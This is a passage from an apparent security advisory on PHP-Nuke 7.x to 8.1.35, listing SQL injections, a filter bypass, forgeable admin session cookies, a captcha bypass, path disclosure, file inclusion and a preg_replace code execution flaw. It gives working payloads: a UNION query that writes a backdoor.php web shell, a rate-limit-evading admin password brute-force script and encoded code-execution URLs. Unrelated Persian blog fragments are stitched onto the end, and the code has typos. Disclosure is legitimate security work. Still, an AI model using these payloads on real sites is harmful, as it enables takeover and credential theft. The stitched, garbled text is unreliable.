The exploit code above also bypasses Ubuntu 10.04's AppArmor rule-sets. First I use Sql Injection to create a file /tmp/theme.php using MySQL's "into outfile". I then use a Local File Include Vulnerability to execute this file. Traditionally exploits try to use a union select "" into outfile "/var/www/backdoor.php", however mysql cannot write to /var/www due to AppArmor. This is an attack pattern that defeats AppArmor and I believe that this is a vulnerability in AppArmor that needs to be patched. It should be noted that SELinux does prevent remote code execution, although obtaining administrative access is still possible.
Type: SQL Injection (CWE-89)
Version affected: 8.0 to 8.1.35 (may 2010)
Status:unpatched
input variable: mood
Works with maigic_quotes_gpc=On or Off
The Journal module is enabled by default to all registered users.
A vulnerablity in this module can be used to obtain administrative credentials from the database.
File: ./modules/Journal/savenew.php on line 81:
if (isset($mood)) { $mood = filter($mood, "nohtml"); }
The call to filter() will remove backslashes if magic_quotes_gpc is enabled.
The vulnerable query query on line 85:
"INSERT INTO ".$prefix."_journal (jid,aid,title,bodytext,mood,pdate,ptime,status,mtime,mdate) VALUES (NULL,'$username','$title','$jbodytext','$mood','$pdate','$ptime','$status','$mtime','$ndate')";
This can be used to obtain the username and md5 password hash of an administrative user.
--------------------------------------------------------------------------------
Type: SQL Injection (CWE-89)
Version affected: 8.0 to 8.1.35(may 2010)
Status:unpatched
input variable: chng_user
Works with maigic_quotes_gpc=On or Off
File: ./modules/Your_Account/admin/index.php
lines 108 and 109:
$chng_user = stripslashes(check_html($chng_user, "nohtml"));
$result = $db->sql_query("SELECT user_id, username, name, user_website, user_email, femail, user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_interests, user_viewemail, user_avatar, user_sig, user_password, newsletter from " . $user_prefix . "_users where username='$chng_user'");
chng_user is vulnerable to sql injection regardless of magic_quotes_gpc.
You must be an administrator in order to access this vulnerablity.
It is valuable to the attacker becuase you can upload files:
' or 0=1 UNION SELECT "" into_outifle("/var/www/backdoor.php")
create a file on remote server. An insert statement cannot use into_outifle().
--------------------------------------------------------------------------------
Type: SQL Injection filter bypass (CWE-436)
Version affected: 7.0 to 8.1.35 (may 2010)
Status:unpatched
This Poc request will bypass the filter check in mianfile.php on line 414:
UNION/**/ SELECT "text" into_outifle("/tmp/test.txt")
These are the vulneralbe comparisons in./mainfile.php on line 414:
if ((stristr($postString,'%20union%20')) OR (stristr($postString,'*/union/*')) OR (stristr($postString,' union ')) OR (stristr($postString_64,'%20union%20')) OR (stristr($postString_64,'*/union/*')) OR (stristr($postString_64,' union ')) OR (stristr($postString_64,'+union+')){
header("Location: index.php");
die();
}
--------------------------------------------------------------------------------
Type: OWASP 7: "Broken Authentication and Session Management" (CWE-784 and CWE-384)
Version affected: 7.0 to 8.1.35(may 2010)
Status:unpatched
The Session ID is immortal because it is made up of
the username (aid) and md5 password hash (pwd) .
Using the sql injeciton vulnerablity above it is
possilbe to obtian both the aid and pwd of an administrator.
The aid and pwd can then be used to gain
immediate access without the need to crack the md5 hash.
./mainfile.php line 326:
function is_admin($admin) {
static $adminSave;
if (!$admin) { return 0; }
if (isset($adminSave)) return $adminSave;
if (!is_array($admin)) {
$admin = base64_decode($admin);
$admin = addslashes($admin);
$admin = explode(':', $admin);
}
$aid = $admin[0];
$pwd = $admin[1];
$aid = substr(addslashes($aid), 0, 25);
if (!empty($aid) && !empty($pwd)) {
global $prefix, $db;
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
$result = $db->sql_query($sql);
$pass = $db->sql_fetchrow($result);
$db->sql_freeresult($result);
if ($pass[0] == $pwd && !empty($pass[0])) {
return $adminSave = 1;
}
}
return $adminSave = 0;
}
To exploit the vulnerablity follow these steps.
1)Get the aid and pwd using sql injeciton.
2)Navigate to http://127.0.0.1/admin.php
3)Use the PHP PoC code below, and paste the output in the address bar.
4) Vist http://127.0.0.1/admin.php again and you will be logged in as the administrator.
This javascript can be used to generate a cookie from stolen credentals.
--------------------------------------------------------------------------------
Type: Captcha Bypass (CWE-264)
Version affected: 7.0 to 8.1.35(may 2010)
Status:unpatched
PHP-Nuke can be configured to require a visual captcha to be solved
in order to login as a user or administrator.
This is an optional security feature to prevent brute force.
This requirement for a captcha can be bypassed by
presenting the web server with a forged cookie,
instead of attempting a login with a
username/password as a post request.
The Captcha is also used for user signups,
which this attack does not affect.
PoC Login Brute Force Exploit:
$http=new http();
$x=0;
foreach $wordlist as $pass{
$http->cookie="admin=".base64_encode($admin_name.":".md5($pass).":").";";
$resp=$http->send("http://127.0.0.1/admin.php");
if(!strstr($resp,"Administration System Login")){
break;
}
//This stays below ipban.php's rate limit of less than 5 requests per 2 seconds.
if(!($x%4)){
sleep(2);
}
$x++;
}
if(!strstr($resp,"Administration System Login"))){
print "password:$pass\n";
}else{
print "password not found\n"
}
--------------------------------------------------------------------------------
Type: OWASP 6 "Information Leakage and Improper Error Handling" and Least Privilege Violation (CWE-388 and CWE-200 and CWE-272)
Version affected: 7.0 to 8.1.35(may 2010)
Status:unpatched
Configuration change leading to information leakage:
/admin.php
If you are an administrator then you can post: xdisplay_errors=1.
This turn on error reporting for the entire site, even if it is disabled in phpl.ini.
This is Least Privilege Violation (CWE-272) becuase the php-nuke admin account should not
need to override php.ini settings. Using this attack to find the local path of the
remote web server makes my remote code execution exploit more sucessful.
Path disclosure:
When error_reporting is enabled then it is possilbe to obtain the full local path to the web root:
./admin/modules/authors.php line 289
When chng_pwd is an array such as this:
chng_pwd[]=1
A call to md5() will throw a warning.
--------------------------------------------------------------------------------
Type: Local File Include (LFI) (CWE-98)
Version affected: 8.0 to 8.1.35(may 2010)
Status:unpatched
The administrator can change the default theme to any directory:
In ./admin/modules/settings.php in savethemes() on Line 684:
$db->sql_query("UPDATE ".$prefix."_config SET Default_Theme='$xDefault_Theme', overwrite_theme='$xoverwrite_theme'");
Then a local file include vulnerablity will be triggered by sending this get request:
http://127.0.0.1/index.php
The LFI is in ./mainfile.php on line 1039:
include_once("themes/$ThemeSel/theme.php");
--------------------------------------------------------------------------------
Type: remote php code execution using preg_repace():
Version affected: 7.x
Status: Patched
PHP-Nuke 7.x is using an old version of PHPBB that is vulnerable to CVE-2004-1315 .
PHPBB is disabled by default, however the administrator can enable it.
The orginal PoC Exploit described by this CVE is as follows:
http://127.0.0.1/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf(20041315).%2527
A modification is made to urlencode the parenthesis () in order to bypass a filter in PHP-Nuke's mianfile.php .
http://127.0.0.1/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%25277
--------------------------------------------------------------------------------
cPanel == Warp Speed!
جاستین فرانکل خالق Winamp یکی از خوره های کامپیوتر به معنای واقعی کلمه است که از نوجوانی اهل برنامه نویسی بوده و مانند بسیاری از افراد موفق حوزه نرم افزار نیز دانشگاه خود را به پایان نرسانده است! او مدتی پس از ارائه رایگان Winamp تنها از طریق کمکهای مالی اختیاری مشتریان ماهیانه هزاران دلار درآمد کسب می کرد. فروش شرکت Nullsoft به AOL و البته میلیونر شدن جاستین تغییری در او نداده و جاستین بعد از Winamp بصورت مستقل چندین نرم افزار قدرتمند دیگر نیز عرضه کرد که NINJAM و REAPER از معروفترین آنهاست .همچنین او شبکه Gnutella که یک شب peer-to-peer برای به اشتراک گذاری فایلها را نیز بنیان نهاده است.خصلت مهم Gnutella این بود که بر خلاف شبکه Napster یک شبکه متمرکز نبود و مانند شبکه های متمرکز متوقف کردن فعالیت آن با خاموش کردن یک یا چند سرور ممکن نیست. جاستین شرکتی به نام Cockos نیز تاسیس کرده است که در زمینه طراحی و ارائه محصولات نرم افزاری در زمینه موسیقی فعالیت می کند. ایده سایت 
نیگاش میکنند!
پريروز، در مورد استفاده از يک وب سرويس SOAP با کمک پکيج PEAR::SOAP مطلبی نوشتم، ديروز تصميم گرفتم که نمونه عملی اون رو هم روی سايت بگذارم تا نحوه کارکردش رو ببينيد. الان اکثر هوستينگها پکيج های استاندارد PEAR نظير PEAR::DB که يک Database Abstraction برای نوشتن اسکريپتهايی Portable برای بانک های اطلاعاتی مختلفه رو بصورت پيش فرض روی سيستم نصب میکنند. ولی مسلما گستردگی اين پکيج ها زياده و بجز چند پکيج استاندارد بقيه رو شما بايد بصورت Manual نصب کنيد. برای دريافت پکيج PEAR::SOAP تشريف می بريد